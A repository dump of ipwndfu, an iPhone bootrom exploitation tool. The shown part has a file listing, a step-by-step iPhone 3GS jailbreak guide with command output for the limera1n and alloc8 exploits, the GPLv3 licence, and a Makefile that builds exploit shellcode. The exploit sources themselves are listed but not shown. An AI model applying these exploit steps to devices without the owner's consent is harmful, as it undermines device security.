Showing preview only (435K chars total). Download the full file or copy to clipboard to get everything.
Repository: LinusHenze/ipwndfu_public
Branch: master
Commit: 56dd31eab545
Files: 55
Total size: 416.9 KB
Directory structure:
gitextract_jeow6lyw/
├── .gitignore
├── JAILBREAK-GUIDE.md
├── LICENSE
├── Makefile
├── README.md
├── SHAtter.py
├── aes-keys/
│ └── S5L8920-firmware
├── alloc8.py
├── checkm8.py
├── device_platform.py
├── dfu.py
├── dfuexec.py
├── ibootpatcher
├── image3.py
├── image3_24Kpwn.py
├── ipwndfu
├── ipwnrecovery
├── libusbfinder/
│ └── __init__.py
├── limera1n.py
├── nor-backups/
│ └── README
├── nor.py
├── recovery.py
├── rmsigchks.py
├── rmsigchks_t8015.py
├── src/
│ ├── 24Kpwn-shellcode.S
│ ├── SHAtter-shellcode.S
│ ├── alloc8-shellcode.S
│ ├── checkm8_arm64.S
│ ├── checkm8_armv7.S
│ ├── ibss-flash-nor-shellcode.S
│ ├── limera1n-shellcode.S
│ ├── steaks4uce-shellcode.S
│ ├── t8010_t8011_disable_wxn_arm64.S
│ ├── usb_0xA1_2_arm64.S
│ └── usb_0xA1_2_armv7.S
├── steaks4uce.py
├── usb/
│ ├── ACKNOWLEDGEMENTS
│ ├── LICENSE
│ ├── README.rst
│ ├── __init__.py
│ ├── _debug.py
│ ├── _interop.py
│ ├── _lookup.py
│ ├── _objfinalizer.py
│ ├── backend/
│ │ ├── __init__.py
│ │ ├── libusb0.py
│ │ ├── libusb1.py
│ │ └── openusb.py
│ ├── control.py
│ ├── core.py
│ ├── legacy.py
│ ├── libloader.py
│ └── util.py
├── usbexec.py
└── utilities.py
================================================
FILE CONTENTS
================================================
================================================
FILE: .gitignore
================================================
*.pyc
nor-backups/nor-*
libusbfinder/libusb-*
SecureROM-*
n88ap-iBSS-4.3.5.img3
*.ipsw
================================================
FILE: JAILBREAK-GUIDE.md
================================================
# Jailbreak guide for iPhone 3GS (new bootrom)
### Steps
1. Backup your data. Everything will be removed from your phone as it is a **full** restore.
2. [Generate a custom 24Kpwn IPSW for iPhone 3GS (old bootrom)](#how-to-create-a-24kpwn-ipsw).
3. [Restore to this custom IPSW on your iPhone 3GS (new bootrom)](#how-to-restore-to-a-custom-ipsw).
4. After restore is complete, your phone will connect back to your computer in DFU Mode. The screen will be black. This is expected. 24Kpwn exploit does not work on iPhone 3GS (new bootrom).
5. Use ipwndfu to put your device into pwned DFU Mode:
```
$ ./ipwndfu -p
*** based on limera1n exploit (heap overflow) by geohot ***
Found: CPID:8920 CPRV:15 CPFM:03 SCEP:03 BDID:00 ECID:XXXXXXXXXXXXXXXX SRTG:[iBoot-359.3.2]
Device is now in pwned DFU Mode.
```
6. Once in pwned DFU Mode, use the -x flag to install the alloc8 exploit. This step will replace 24Kpwn exploit with alloc8.
```
$ ./ipwndfu -x
Installing alloc8 exploit to NOR.
Dumping NOR, part 1/8.
Dumping NOR, part 2/8.
Dumping NOR, part 3/8.
Dumping NOR, part 4/8.
Dumping NOR, part 5/8.
Dumping NOR, part 6/8.
Dumping NOR, part 7/8.
Dumping NOR, part 8/8.
NOR backed up to file: nor-backups/nor-XXXXXXXXXXXXXXXX-20170409-224258.dump
Sending iBSS.
Waiting for iBSS to enter Recovery Mode.
Sending iBSS payload to flash NOR.
Sending run command.
If screen is not red, NOR was flashed successfully and device will reboot.
```
#### Notes:
* Installation takes about 30 seconds. Once NOR is being flashed, the screen will be green for about 10 seconds, and then your phone will reboot.
* If there are any errors before the screen turned green, it is safe to try again.
* If the screen turns red, something went wrong while your phone was being flashed. Trying again probably won't help.
* If there are no issues, the phone will reboot and automatically boot into iOS.
### 3 second delay during boot when using a phone jailbroken with alloc8
alloc8 exploit takes about 3 seconds to run.
When your phone is off, to turn it on you will need to keep holding the Power button for at least 3 seconds, or your phone will not turn on. This might be because LLB protects against accidental presses of the Power button by shutting down the phone if the power button is not being held anymore. Without an exploit it takes less than a second before this check happens, but with alloc8 exploit it will happen after about 3 seconds. It might be possible to change this behavior by patching LLB.
If your phone enters deep sleep, there will be a 3 second delay before it wakes up. This can be fixed if you disable deep sleep with a tweak from Cydia, but your phone's battery life will decrease.
### Where to download older IPSWs
Always download IPSWs directly from Apple, because IPSWs from other sites could be infected with malware.
There is a trusted site where you can find legitimate Apple download links for older IPSW files:
https://ipsw.me/
### How to create a 24Kpwn IPSW
| iOS version | Tool |
|-------------|-------------------------------------------------------------------------------------------------|
| iOS 3.1 | [PwnageTool 3.1.3](https://github.com/axi0mX/PwnageTool-mirror/raw/master/PwnageTool_3.1.3.dmg) |
| iOS 3.1.2 | [PwnageTool 3.1.5](https://github.com/axi0mX/PwnageTool-mirror/raw/master/PwnageTool_3.1.5.dmg) |
| iOS 3.1.3 | [PwnageTool 3.1.5](https://github.com/axi0mX/PwnageTool-mirror/raw/master/PwnageTool_3.1.5.dmg) |
| iOS 4.0 | [PwnageTool 4.01](https://github.com/axi0mX/PwnageTool-mirror/raw/master/PwnageTool_4.01.dmg) |
| iOS 4.3.3 | [redsn0w 0.9.15 beta 3](http://www.iphonehacks.com/download-redsn0w) |
| iOS 5.0 | [redsn0w 0.9.15 beta 3](http://www.iphonehacks.com/download-redsn0w) |
| iOS 5.0.1 | [redsn0w 0.9.15 beta 3](http://www.iphonehacks.com/download-redsn0w) |
| iOS 5.1 | [redsn0w 0.9.15 beta 3](http://www.iphonehacks.com/download-redsn0w) |
| iOS 5.1.1 | [redsn0w 0.9.15 beta 3](http://www.iphonehacks.com/download-redsn0w) |
#### Notes on using redsn0w 0.9.15b3
```
Q: Will this custom IPSW be used on a newer (fixed) version of the iPhone3GS?
A: No
```
You must answer No to create a 24Kpwn IPSW using redsn0w. If you did this correctly, the name of the custom IPSW from redsn0w will start with ```NO_BB_OLDROM_iPhone2,1```.
### Compatibility with older iOS versions
Newer phones might not support some older versions of iOS. You cannot brick your phone by attempting to restore an older version of iOS, so it might be worth it to try anyway. If iTunes restore fails with Error 28, the hardware of your phone is not compatible with that version of iOS.
| Manufactured | Error 28 | Success |
|--------------|------------|------------|
| Week 38 2010 | N/A | 3.1+ |
| Week 48 2010 | N/A | 3.1+ |
| Week 3 2011 | 3.x | 4.3.3+ |
| Week 14 2011 | 3.x | 4.0+ |
| Week 23 2011 | N/A | 3.1.2+ |
| Week 29 2011 | 3.x | 4.0+ |
| Week 36 2011 | 3.x | 4.0+ |
| Week 26 2012 | 3.x, 4.x | 5.0+ |
You can find the week and year of manufacture by looking at the serial number of your phone. If your phone is from 2011 or 2012, help me expand this list and let me what versions worked or didn't work.
### Decoding iPhone 3GS serial number
```
Serial number: AABCCDDDEE
AA = Device ID
B = 2009=9, 2010=0, 2011=1, 2012=2
CC = Week of production
DDD = Unique ID
EE = Color
```
### How to restore to a custom IPSW
1. Enter DFU Mode: https://www.theiphonewiki.com/wiki/DFU_Mode
2. Run exploit to put your phone into pwned DFU Mode. You can use `./ipwndfu -p`.
3. Any version of iTunes should work. In iTunes, hold Option (or SHIFT if using Windows) and click Restore. You should be prompted to choose a file. Choose your custom IPSW.
================================================
FILE: LICENSE
================================================
GNU GENERAL PUBLIC LICENSE
Version 3, 29 June 2007
Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The GNU General Public License is a free, copyleft license for
software and other kinds of works.
The licenses for most software and other practical works are designed
to take away your freedom to share and change the works. By contrast,
the GNU General Public License is intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users. We, the Free Software Foundation, use the
GNU General Public License for most of our software; it applies also to
any other work released this way by its authors. You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.
To protect your rights, we need to prevent others from denying you
these rights or asking you to surrender the rights. Therefore, you have
certain responsibilities if you distribute copies of the software, or if
you modify it: responsibilities to respect the freedom of others.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must pass on to the recipients the same
freedoms that you received. You must make sure that they, too, receive
or can get the source code. And you must show them these terms so they
know their rights.
Developers that use the GNU GPL protect your rights with two steps:
(1) assert copyright on the software, and (2) offer you this License
giving you legal permission to copy, distribute and/or modify it.
For the developers' and authors' protection, the GPL clearly explains
that there is no warranty for this free software. For both users' and
authors' sake, the GPL requires that modified versions be marked as
changed, so that their problems will not be attributed erroneously to
authors of previous versions.
Some devices are designed to deny users access to install or run
modified versions of the software inside them, although the manufacturer
can do so. This is fundamentally incompatible with the aim of
protecting users' freedom to change the software. The systematic
pattern of such abuse occurs in the area of products for individuals to
use, which is precisely where it is most unacceptable. Therefore, we
have designed this version of the GPL to prohibit the practice for those
products. If such problems arise substantially in other domains, we
stand ready to extend this provision to those domains in future versions
of the GPL, as needed to protect the freedom of users.
Finally, every program is threatened constantly by software patents.
States should not allow patents to restrict development and use of
software on general-purpose computers, but in those that do, we wish to
avoid the special danger that patents applied to a free program could
make it effectively proprietary. To prevent this, the GPL assures that
patents cannot be used to render the program non-free.
The precise terms and conditions for copying, distribution and
modification follow.
TERMS AND CONDITIONS
0. Definitions.
"This License" refers to version 3 of the GNU General Public License.
"Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.
"The Program" refers to any copyrightable work licensed under this
License. Each licensee is addressed as "you". "Licensees" and
"recipients" may be individuals or organizations.
To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy. The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.
A "covered work" means either the unmodified Program or a work based
on the Program.
To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy. Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.
To "convey" a work means any kind of propagation that enables other
parties to make or receive copies. Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.
An interactive user interface displays "Appropriate Legal Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License. If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.
1. Source Code.
The "source code" for a work means the preferred form of the work
for making modifications to it. "Object code" means any non-source
form of a work.
A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.
The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form. A
"Major Component", in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.
The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities. However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work. For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.
The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.
The Corresponding Source for a work in source code form is that
same work.
2. Basic Permissions.
All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met. This License explicitly affirms your unlimited
permission to run the unmodified Program. The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work. This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.
You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force. You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright. Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.
Conveying under any other circumstances is permitted solely under
the conditions stated below. Sublicensing is not allowed; section 10
makes it unnecessary.
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.
When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.
4. Conveying Verbatim Copies.
You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.
You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.
5. Conveying Modified Source Versions.
You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:
a) The work must carry prominent notices stating that you modified
it, and giving a relevant date.
b) The work must carry prominent notices stating that it is
released under this License and any conditions added under section
7. This requirement modifies the requirement in section 4 to
"keep intact all notices".
c) You must license the entire work, as a whole, under this
License to anyone who comes into possession of a copy. This
License will therefore apply, along with any applicable section 7
additional terms, to the whole of the work, and all its parts,
regardless of how they are packaged. This License gives no
permission to license the work in any other way, but it does not
invalidate such permission if you have separately received it.
d) If the work has interactive user interfaces, each must display
Appropriate Legal Notices; however, if the Program has interactive
interfaces that do not display Appropriate Legal Notices, your
work need not make them do so.
A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit. Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.
6. Conveying Non-Source Forms.
You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:
a) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by the
Corresponding Source fixed on a durable physical medium
customarily used for software interchange.
b) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by a
written offer, valid for at least three years and valid for as
long as you offer spare parts or customer support for that product
model, to give anyone who possesses the object code either (1) a
copy of the Corresponding Source for all the software in the
product that is covered by this License, on a durable physical
medium customarily used for software interchange, for a price no
more than your reasonable cost of physically performing this
conveying of source, or (2) access to copy the
Corresponding Source from a network server at no charge.
c) Convey individual copies of the object code with a copy of the
written offer to provide the Corresponding Source. This
alternative is allowed only occasionally and noncommercially, and
only if you received the object code with such an offer, in accord
with subsection 6b.
d) Convey the object code by offering access from a designated
place (gratis or for a charge), and offer equivalent access to the
Corresponding Source in the same way through the same place at no
further charge. You need not require recipients to copy the
Corresponding Source along with the object code. If the place to
copy the object code is a network server, the Corresponding Source
may be on a different server (operated by you or a third party)
that supports equivalent copying facilities, provided you maintain
clear directions next to the object code saying where to find the
Corresponding Source. Regardless of what server hosts the
Corresponding Source, you remain obligated to ensure that it is
available for as long as needed to satisfy these requirements.
e) Convey the object code using peer-to-peer transmission, provided
you inform other peers where the object code and Corresponding
Source of the work are being offered to the general public at no
charge under subsection 6d.
A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.
A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling. In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage. For a particular
product received by a particular user, "normally used" refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product. A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.
"Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source. The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.
If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information. But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).
The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed. Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.
Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.
7. Additional Terms.
"Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law. If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.
When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it. (Additional permissions may be written to require their own
removal in certain cases when you modify the work.) You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.
Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:
a) Disclaiming warranty or limiting liability differently from the
terms of sections 15 and 16 of this License; or
b) Requiring preservation of specified reasonable legal notices or
author attributions in that material or in the Appropriate Legal
Notices displayed by works containing it; or
c) Prohibiting misrepresentation of the origin of that material, or
requiring that modified versions of such material be marked in
reasonable ways as different from the original version; or
d) Limiting the use for publicity purposes of names of licensors or
authors of the material; or
e) Declining to grant rights under trademark law for use of some
trade names, trademarks, or service marks; or
f) Requiring indemnification of licensors and authors of that
material by anyone who conveys the material (or modified versions of
it) with contractual assumptions of liability to the recipient, for
any liability that these contractual assumptions directly impose on
those licensors and authors.
All other non-permissive additional terms are considered "further
restrictions" within the meaning of section 10. If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term. If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.
If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.
Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.
8. Termination.
You may not propagate or modify a covered work except as expressly
provided under this License. Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).
However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.
Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.
Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License. If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.
9. Acceptance Not Required for Having Copies.
You are not required to accept this License in order to receive or
run a copy of the Program. Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance. However,
nothing other than this License grants you permission to propagate or
modify any covered work. These actions infringe copyright if you do
not accept this License. Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.
10. Automatic Licensing of Downstream Recipients.
Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License. You are not responsible
for enforcing compliance by third parties with this License.
An "entity transaction" is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations. If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.
You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License. For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.
11. Patents.
A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based. The
work thus licensed is called the contributor's "contributor version".
A contributor's "essential patent claims" are all patent claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version. For
purposes of this definition, "control" includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.
Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.
In the following three paragraphs, a "patent license" is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement). To "grant" such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.
If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients. "Knowingly relying" means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.
If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.
A patent license is "discriminatory" if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
specifically granted under this License. You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.
Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.
12. No Surrender of Others' Freedom.
If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all. For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.
13. Use with the GNU Affero General Public License.
Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU Affero General Public License into a single
combined work, and to convey the resulting work. The terms of this
License will continue to apply to the part which is the covered work,
but the special requirements of the GNU Affero General Public License,
section 13, concerning interaction through a network will apply to the
combination as such.
14. Revised Versions of this License.
The Free Software Foundation may publish revised and/or new versions of
the GNU General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the
Program specifies that a certain numbered version of the GNU General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation. If the Program does not specify a version number of the
GNU General Public License, you may choose any version ever published
by the Free Software Foundation.
If the Program specifies that a proxy can decide which future
versions of the GNU General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.
Later license versions may give you additional or different
permissions. However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.
15. Disclaimer of Warranty.
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
16. Limitation of Liability.
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.
17. Interpretation of Sections 15 and 16.
If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
{one line to give the program's name and a brief idea of what it does.}
Copyright (C) {year} {name of author}
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
Also add information on how to contact you by electronic and paper mail.
If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:
{project} Copyright (C) {year} {fullname}
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, your program's commands
might be different; for a GUI interface, you would use an "about box".
You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU GPL, see
<http://www.gnu.org/licenses/>.
The GNU General Public License does not permit incorporating your program
into proprietary programs. If your program is a subroutine library, you
may consider it more useful to permit linking proprietary applications with
the library. If this is what you want to do, use the GNU Lesser General
Public License instead of this License. But first, please read
<http://www.gnu.org/philosophy/why-not-lgpl.html>.
================================================
FILE: Makefile
================================================
all: armv6 armv7 arm64
armv6:
arm-none-eabi-as -march=armv6 -mthumb --fatal-warnings -o bin/steaks4uce-shellcode.o src/steaks4uce-shellcode.S
arm-none-eabi-objcopy -O binary bin/steaks4uce-shellcode.o bin/steaks4uce-shellcode.bin
rm bin/steaks4uce-shellcode.o
armv7:
arm-none-eabi-as -mthumb --fatal-warnings -o bin/limera1n-shellcode.o src/limera1n-shellcode.S
arm-none-eabi-objcopy -O binary bin/limera1n-shellcode.o bin/limera1n-shellcode.bin
rm bin/limera1n-shellcode.o
arm-none-eabi-as -mthumb --fatal-warnings -o bin/SHAtter-shellcode.o src/SHAtter-shellcode.S
arm-none-eabi-objcopy -O binary bin/SHAtter-shellcode.o bin/SHAtter-shellcode.bin
rm bin/SHAtter-shellcode.o
arm-none-eabi-as -mthumb --fatal-warnings -o bin/24Kpwn-shellcode.o src/24Kpwn-shellcode.S
arm-none-eabi-objcopy -O binary bin/24Kpwn-shellcode.o bin/24Kpwn-shellcode.bin
rm bin/24Kpwn-shellcode.o
arm-none-eabi-as -mthumb --fatal-warnings -o bin/alloc8-shellcode.o src/alloc8-shellcode.S
arm-none-eabi-objcopy -O binary bin/alloc8-shellcode.o bin/alloc8-shellcode.bin
rm bin/alloc8-shellcode.o
arm-none-eabi-as -mthumb --fatal-warnings -o bin/ibss-flash-nor-shellcode.o src/ibss-flash-nor-shellcode.S
arm-none-eabi-objcopy -O binary bin/ibss-flash-nor-shellcode.o bin/ibss-flash-nor-shellcode.bin
rm bin/ibss-flash-nor-shellcode.o
